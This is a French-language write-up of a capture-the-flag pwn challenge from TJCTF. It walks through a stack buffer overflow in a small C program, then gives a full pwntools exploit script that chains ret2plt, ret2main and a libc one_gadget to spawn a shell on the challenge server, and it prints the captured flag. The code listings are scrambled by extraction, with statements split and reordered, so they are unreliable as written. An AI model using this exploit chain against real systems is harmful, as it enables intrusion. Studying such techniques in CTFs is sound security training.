Détails
- Catégorie : pwn
- Points : 233
- Résolutions : 88
Description
Travel agency said we can’t go there anymore… nc tjc.tf 31705
Comprendre le problème
Habituellement, lorsqu’on essaie de résoudre des challenges pwn, trouver la vulnérabilité est le premier problème à traiter. N’ayant que le binaire, cela peut être fait en utilisant un désassembleur (IDA, ghidra etc.). Ce n’est pas le cac ici, puisque l’auteur nous a donné le code source (C). Notre but est maintenant de le lire pour trouver une vulnérabilité et l’exploiter pour obtenir un shell. C’est parti !
Résoudre le problème
Le code C fourni est le suivant :
#include <stdio.h>
#include <stdlib.h>
void vacation() {
char buf[16];
("Where am I going today?");
puts(buf, 64, stdin);
fgets}
void main() {
(stdout, NULL);
setbuf();
vacation("hmm... that doesn't sound very interesting...");
puts}
Un buffer statique de 16 octets, buf
, est déclaré. Ensuite, la fonction fgets
est appelée sur stdin pour insérer l’entrée utilisateur dans buf
. Malheureusement, la taille spécifiée comme deuxième argument de la fonction fgets
est bien plus grande que la taille de buf
. Cela conduit à une vulnérabilité de type débordement de tampon.
En vérifiant les protections appliquées sur le binaire avec l’utilitaire checksec
, nous avons remarqué que seul NX était activé.
checksec chall
[*] '/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Immédiatement, nous avons pensé à faire une ret2libc. Cela semble être une bonne idée à première vue, mais il y a encore un problème à gérer : ASLR. Comme nous supposons que l’ASLR est activé sur le serveur distant, ret2libc ne peut plus fonctionner. Finalement, il est nécessaire de construire une ROP chain.
Pour rappel, nous voulons que notre programme exécute un shell. En d’autres termes, il faudra qye ce dernier exécute une fonction de la libc qui prend la chaîne “/bin/sh” comme argument (system ou execve).
A ce stade, nous devons d’abord trouver un leak pour contourner l’ASLR (qui randomise les adresses de la pile, du tas et des bibliothèques). Mais un autre problème surgit… Notre programme est tellement basique qu’il n’y a pas de leak. Heureusement, il existe une technique connue qui ne nécessite pas de leak pour fonctionner : ret2plt + ret2main + one gadget.
Cette technique peut être décomposée comme suit :
- ret2plt via
puts
pour divulguer une adresse de la libc (dont la base est aléatoire à cause de l’ASLR) - ret2main pour ré-exécuter notre programme sans recharger l’ASLR
- one gadget
Implémentation de la solution
La solution sera implémentée sous la forme d’un script utilisant la bibliothèque python pwntools. Trouvons d’abord le décalage nécessaire pour écraser RBP en désassemblant la fonction vacation dans gdb
gdb-peda$ disass vacation
Dump of assembler code for function vacation:
0x0000000000401176 <+0>: endbr64
0x000000000040117a <+4>: push rbp
0x000000000040117b <+5>: mov rbp,rsp
0x000000000040117e <+8>: sub rsp,0x10 #16 bytes are allocated on the stack
0x0000000000401182 <+12>: lea rdi,[rip+0xe7f] # 0x402008
0x0000000000401189 <+19>: call 0x401060 <puts@plt>
0x000000000040118e <+24>: mov rdx,QWORD PTR [rip+0x2ebb] # 0x404050 <stdin@@GLIBC_2.2.5>
0x0000000000401195 <+31>: lea rax,[rbp-0x10]
0x0000000000401199 <+35>: mov esi,0x40
0x000000000040119e <+40>: mov rdi,rax
0x00000000004011a1 <+43>: call 0x401080 <fgets@plt>
0x00000000004011a6 <+48>: nop
0x00000000004011a7 <+49>: leave
0x00000000004011a8 <+50>: ret
End of assembler dump.
Comme 16 octets sont alloués sur la pile, l’envoi de 24 (16+8) octets permet d’écraser RBP. Vérifions-le :
gdb-peda$ run
Starting program: chall
Where am I going today?
AAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffdfb0 ('A' <repeats 24 times>, "\n")
RBX: 0x4011e0 (<__libc_csu_init>: endbr64)
RCX: 0x4052b9 --> 0x0
RDX: 0x0
RSI: 0x4052a1 ('A' <repeats 23 times>, "\n")
RDI: 0x7ffff7fab7f0 --> 0x0
RBP: 0x4141414141414141 ('AAAAAAAA') -> #RBP is overwrited
RSP: 0x7fffffffdfd0 --> 0x0
RIP: 0x40000a --> 0x2000000000000
R8 : 0x7fffffffdfb0 ('A' <repeats 24 times>, "\n")
R9 : 0x7c ('|')
R10: 0x7ffff7fa9be0 --> 0x4056a0 --> 0x0
R11: 0x246
R12: 0x401090 (<_start>: endbr64)
R13: 0x7fffffffe0c0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
Nous avons aussi besoin d’un gadget pour passer notre argument à la fonction puts
.
ROPgadget --binary chall | grep "pop rdi"
0x0000000000401243 : pop rdi ; ret
Jusqu’à présent, le script (encore en construction) ressemble à ceci :
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
#init
= context.binary = ELF('./chall')
elf = elf.libc
libc = remote('tjc.tf',31705)
p
#find a gadget in binary to pass args tu puts function
= 0x401243
pop_rdi_ret
#ropchain
#offset size can be found with gdb
= b'a'*24
payload += p64(pop_rdi_ret)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.sym['main'])
payload
b'?\n')
p.recvuntil(
p.sendline(payload)
#get address sent by puts
= u64(p.recv(6).ljust(8,b'\x00'))
puts_leak print(hex(puts_leak))
p.interactive() p.close()
En l’exécutant localement et à distance, nous avons remarqué que l’adresse puts_leak
se termine toujours par les 3 mêmes octets. Cela signifie que les 2 libc sont identiques. On peut chercher le décalage de puts
directement depuis notre machine.
Le décalage de la fonction puts
dans la libc est calculé en soustrayant l’adresse de puts
et l’adresse de base de la libc (les deux étant récupérées avec gdb).
gdb-peda$ info proc mappings
process 5986
Mapped address spaces:
[...]
0x7ffff7dbd000 0x7ffff7ddf000 0x22000 0x0 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ffff7ddf000 0x7ffff7f57000 0x178000 0x22000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ffff7f57000 0x7ffff7fa5000 0x4e000 0x19a000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ffff7fa5000 0x7ffff7fa9000 0x4000 0x1e7000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ffff7fa9000 0x7ffff7fab000 0x2000 0x1eb000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ffff7fab000 0x7ffff7fb1000 0x6000 0x0
0x7ffff7fc9000 0x7ffff7fcd000 0x4000 0x0 [vvar]
0x7ffff7fcd000 0x7ffff7fcf000 0x2000 0x0 [vdso]
0x7ffff7fcf000 0x7ffff7fd0000 0x1000 0x0 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7fd0000 0x7ffff7ff3000 0x23000 0x1000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7ff3000 0x7ffff7ffb000 0x8000 0x24000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7ffc000 0x7ffff7ffd000 0x1000 0x2c000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7ffd000 0x7ffff7ffe000 0x1000 0x2d000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7ffe000 0x7ffff7fff000 0x1000 0x0
0x7ffffffde000 0x7ffffffff000 0x21000 0x0 [stack]
0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]
gdb-peda$ print puts
$5 = {int (const char *)} 0x7ffff7e41450 <__GI__IO_puts>
gdb-peda$ print(0x7ffff7e41450-0x7ffff7dbd000)
$6 = 0x84450
Enfin, nous devons trouver notre one_gadget.
one_gadget /usr/lib/x86_64-linux-gnu/libc-2.31.so
0xe3b2e execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe3b31 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe3b34 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
Notre script peut maintenant être finalisé.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
#init
= context.binary = ELF('./chall')
elf = elf.libc
libc = remote('tjc.tf',31705)
p
#find a gadget in binary to pass args tu puts function
= 0x401243
pop_rdi_ret
#ropchain
#offset size can be found with gdb
= b'a'*24
payload += p64(pop_rdi_ret)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.sym['main'])
payload
b'?\n')
p.recvuntil(
p.sendline(payload)
#get address sent by puts
= u64(p.recv(6).ljust(8,b'\x00'))
puts_leak
#0x84450 offset is calculated by subtracting puts_leak with libc_base_address (mandatory because it
#has to be recalculate each time we run the exploit to defeat ASLR)
= puts_leak - 0x84450
libc_base_addr
# After returning to main
= b'a'*24
payload += p64(libc_base_addr + 0xe3b31) #-> one gadget address
payload
# sending payload
b'?\n')
p.recvuntil(
p.sendline(payload)
p.interactive() p.close()
Profitez de votre shell :)
./solve.py
[...]
[*] Switching to interactive mode
$ ls
flag.txt
run
$ cat flag.txt
tjctf{w3_g0_wher3_w3_w4nt_t0!_66f7020620e343ff}
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to tjc.tf port 31705
Flag : tjctf{w3_g0_wher3_w3_w4nt_t0!_66f7020620e343ff}